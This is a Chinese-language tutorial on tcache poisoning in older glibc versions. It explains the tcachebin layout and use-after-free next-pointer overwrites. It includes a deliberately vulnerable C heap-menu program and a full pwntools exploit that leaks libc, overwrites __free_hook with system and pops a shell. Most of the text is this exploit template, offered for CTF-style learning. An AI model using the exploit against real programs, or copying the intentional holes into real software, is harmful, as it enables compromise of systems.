目录
前言
早期对于 Tcachebin 的引入,在提高分配释放效率的同时,也因毫无保护而变得尤为好攻击和利用。自 glibc-2.32 以后添加了 key 等保护机制,现在的 tcachebin 利用起来变得困难。
- glibc2.32 开始加入 Safe linking 机制,tcache 的 next 指针加密,需要先泄露堆地址绕过。
- 新版本增加对齐检查。
不过本篇讨论的还是早期的 tcachebin,能够简单地通过 UAF 实现任意地址 malloc。
一、Tcachebin 的组织形式
与 fastbin 十分相似,也是单链表组成,最大为 size=0x410 (64位)的表项,每个表项最多放7个同样大小的 free chunk。
注意,和 fastbin 相比还有一个较大的不同,那就是单向链表链接时是指向下一个 chunk 的 data 区域,而 fastbin 的单向链表指针指向的是下一个 free chunk 的 chunk 头。
二、Tcache Poisoning
Tcache 的组织形式非常简洁,如果我们利用 UAF 将某一块 free chunk 的 next 指针覆写为地址 target,那我们就可以将以 target 为数据区域开始的 fake chunk malloc 出来,从而进行读写操作。
因为是修改了 next 指针域,所以也被称为“毒化”,这就是 poisoning 这个名字的由来,非常直观。
三、测试与模板
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
char *chunk_list[0x100];
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}
int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}
void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
chunk_list[index] = malloc(size);
}
void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}
void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
while (1) {
menu();
switch (get_num()) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
puts("invalid choice.");
}
}
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
context.arch=elf.arch
context.log_level='debug'
io=process('./pwn')
def add(index,size):
io.sendlineafter(b'choice:\n',b'1')
io.sendlineafter(b'index:\n',str(index).encode())
io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):
io.sendlineafter(b'choice:\n',b'2')
io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
io.sendlineafter(b'choice:\n',b'3')
io.sendlineafter(b'index',str(index).encode())
io.sendlineafter(b'length:\n',str(length).encode())
io.sendafter(b'content:\n',content)
def show(index):
io.sendlineafter(b'choice:\n',b'4')
io.sendlineafter(b'index:\n',str(index).encode())
# leak libc
add(0,0x410)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x7b20ea7afca0+0x7b20ea400000
libc.address=libc_base
success(hex(libc_base))
# tcache poisoning
add(0,0x70)
delete(0)
edit(0,0x8,p64(libc.sym['__free_hook']))
add(1,0x70)
add(1,0x70)
edit(1,0x8,p64(libc.sym['system']))
add(1,0x10)
edit(1,0x8,b'/bin/sh\x00')
delete(1)
io.interactive()